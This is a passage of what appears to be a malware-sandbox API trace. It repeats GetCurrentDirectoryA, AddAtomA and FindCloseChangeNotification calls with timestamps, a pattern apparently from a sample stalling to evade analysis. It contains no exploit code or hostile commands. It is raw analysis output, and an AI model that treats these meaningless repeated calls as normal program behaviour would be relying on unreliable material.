returned 0x0 [0054.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.871] AddAtomA (lpString=0x0) returned 0x0 [0054.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.871] AddAtomA (lpString=0x0) returned 0x0 [0054.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.871] AddAtomA (lpString=0x0) returned 0x0 [0054.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.871] AddAtomA (lpString=0x0) returned 0x0 [0054.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.871] AddAtomA (lpString=0x0) returned 0x0 [0054.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.871] AddAtomA (lpString=0x0) returned 0x0 [0054.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.871] AddAtomA (lpString=0x0) returned 0x0 [0054.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.871] AddAtomA (lpString=0x0) returned 0x0 [0054.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.871] AddAtomA (lpString=0x0) returned 0x0 [0054.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.872] AddAtomA (lpString=0x0) returned 0x0 [0054.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.872] AddAtomA (lpString=0x0) returned 0x0 [0054.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.872] AddAtomA (lpString=0x0) returned 0x0 [0054.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.872] AddAtomA (lpString=0x0) returned 0x0 [0054.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.872] AddAtomA (lpString=0x0) returned 0x0 [0054.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.872] AddAtomA (lpString=0x0) returned 0x0 [0054.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.872] AddAtomA (lpString=0x0) returned 0x0 [0054.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.872] AddAtomA (lpString=0x0) returned 0x0 [0054.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.872] AddAtomA (lpString=0x0) returned 0x0 [0054.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.872] AddAtomA (lpString=0x0) returned 0x0 [0054.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.872] AddAtomA (lpString=0x0) returned 0x0 [0054.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.873] AddAtomA (lpString=0x0) returned 0x0 [0054.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.873] AddAtomA (lpString=0x0) returned 0x0 [0054.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.873] AddAtomA (lpString=0x0) returned 0x0 [0054.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.873] AddAtomA (lpString=0x0) returned 0x0 [0054.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.873] AddAtomA (lpString=0x0) returned 0x0 [0054.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.873] AddAtomA (lpString=0x0) returned 0x0 [0054.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.873] AddAtomA (lpString=0x0) returned 0x0 [0054.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.873] AddAtomA (lpString=0x0) returned 0x0 [0054.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.873] AddAtomA (lpString=0x0) returned 0x0 [0054.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.873] AddAtomA (lpString=0x0) returned 0x0 [0054.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.873] AddAtomA (lpString=0x0) returned 0x0 [0054.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.874] AddAtomA (lpString=0x0) returned 0x0 [0054.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.874] AddAtomA (lpString=0x0) returned 0x0 [0054.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.874] AddAtomA (lpString=0x0) returned 0x0 [0054.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.874] AddAtomA (lpString=0x0) returned 0x0 [0054.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.874] AddAtomA (lpString=0x0) returned 0x0 [0054.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.874] AddAtomA (lpString=0x0) returned 0x0 [0054.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.874] AddAtomA (lpString=0x0) returned 0x0 [0054.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.874] AddAtomA (lpString=0x0) returned 0x0 [0054.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.874] AddAtomA (lpString=0x0) returned 0x0 [0054.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.874] AddAtomA (lpString=0x0) returned 0x0 [0054.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.874] AddAtomA (lpString=0x0) returned 0x0 [0054.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.875] AddAtomA (lpString=0x0) returned 0x0 [0054.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.875] AddAtomA (lpString=0x0) returned 0x0 [0054.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.875] AddAtomA (lpString=0x0) returned 0x0 [0054.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.875] AddAtomA (lpString=0x0) returned 0x0 [0054.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.875] AddAtomA (lpString=0x0) returned 0x0 [0054.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.875] AddAtomA (lpString=0x0) returned 0x0 [0054.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.875] AddAtomA (lpString=0x0) returned 0x0 [0054.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.875] AddAtomA (lpString=0x0) returned 0x0 [0054.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.875] AddAtomA (lpString=0x0) returned 0x0 [0054.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.875] AddAtomA (lpString=0x0) returned 0x0 [0054.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.875] AddAtomA (lpString=0x0) returned 0x0 [0054.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.876] AddAtomA (lpString=0x0) returned 0x0 [0054.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.876] AddAtomA (lpString=0x0) returned 0x0 [0054.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.876] AddAtomA (lpString=0x0) returned 0x0 [0054.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.876] AddAtomA (lpString=0x0) returned 0x0 [0054.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.876] AddAtomA (lpString=0x0) returned 0x0 [0054.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.876] AddAtomA (lpString=0x0) returned 0x0 [0054.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.876] AddAtomA (lpString=0x0) returned 0x0 [0054.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.876] AddAtomA (lpString=0x0) returned 0x0 [0054.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.877] AddAtomA (lpString=0x0) returned 0x0 [0054.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.877] AddAtomA (lpString=0x0) returned 0x0 [0054.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.877] AddAtomA (lpString=0x0) returned 0x0 [0054.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.877] AddAtomA (lpString=0x0) returned 0x0 [0054.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.877] AddAtomA (lpString=0x0) returned 0x0 [0054.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.877] AddAtomA (lpString=0x0) returned 0x0 [0054.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.877] AddAtomA (lpString=0x0) returned 0x0 [0054.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.877] AddAtomA (lpString=0x0) returned 0x0 [0054.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.877] AddAtomA (lpString=0x0) returned 0x0 [0054.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.878] AddAtomA (lpString=0x0) returned 0x0 [0054.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.878] AddAtomA (lpString=0x0) returned 0x0 [0054.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.878] AddAtomA (lpString=0x0) returned 0x0 [0054.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.878] AddAtomA (lpString=0x0) returned 0x0 [0054.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.878] AddAtomA (lpString=0x0) returned 0x0 [0054.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.878] AddAtomA (lpString=0x0) returned 0x0 [0054.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.878] AddAtomA (lpString=0x0) returned 0x0 [0054.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.878] AddAtomA (lpString=0x0) returned 0x0 [0054.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.878] AddAtomA (lpString=0x0) returned 0x0 [0054.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.879] AddAtomA (lpString=0x0) returned 0x0 [0054.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.879] AddAtomA (lpString=0x0) returned 0x0 [0054.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.879] AddAtomA (lpString=0x0) returned 0x0 [0054.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.879] AddAtomA (lpString=0x0) returned 0x0 [0054.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.879] AddAtomA (lpString=0x0) returned 0x0 [0054.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.879] AddAtomA (lpString=0x0) returned 0x0 [0054.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.879] AddAtomA (lpString=0x0) returned 0x0 [0054.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.879] AddAtomA (lpString=0x0) returned 0x0 [0054.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.879] AddAtomA (lpString=0x0) returned 0x0 [0054.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.879] AddAtomA (lpString=0x0) returned 0x0 [0054.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.879] AddAtomA (lpString=0x0) returned 0x0 [0054.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.880] AddAtomA (lpString=0x0) returned 0x0 [0054.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.880] AddAtomA (lpString=0x0) returned 0x0 [0054.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.880] AddAtomA (lpString=0x0) returned 0x0 [0054.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.880] AddAtomA (lpString=0x0) returned 0x0 [0054.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.880] AddAtomA (lpString=0x0) returned 0x0 [0054.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.880] AddAtomA (lpString=0x0) returned 0x0 [0054.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.880] AddAtomA (lpString=0x0) returned 0x0 [0054.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.880] AddAtomA (lpString=0x0) returned 0x0 [0054.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.880] AddAtomA (lpString=0x0) returned 0x0 [0054.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.880] AddAtomA (lpString=0x0) returned 0x0 [0054.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.880] AddAtomA (lpString=0x0) returned 0x0 [0054.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.881] AddAtomA (lpString=0x0) returned 0x0 [0054.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.881] AddAtomA (lpString=0x0) returned 0x0 [0054.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.881] AddAtomA (lpString=0x0) returned 0x0 [0054.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.881] AddAtomA (lpString=0x0) returned 0x0 [0054.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.881] AddAtomA (lpString=0x0) returned 0x0 [0054.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.881] AddAtomA (lpString=0x0) returned 0x0 [0054.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.881] AddAtomA (lpString=0x0) returned 0x0 [0054.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.881] AddAtomA (lpString=0x0) returned 0x0 [0054.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.881] AddAtomA (lpString=0x0) returned 0x0 [0054.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.881] AddAtomA (lpString=0x0) returned 0x0 [0054.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.881] AddAtomA 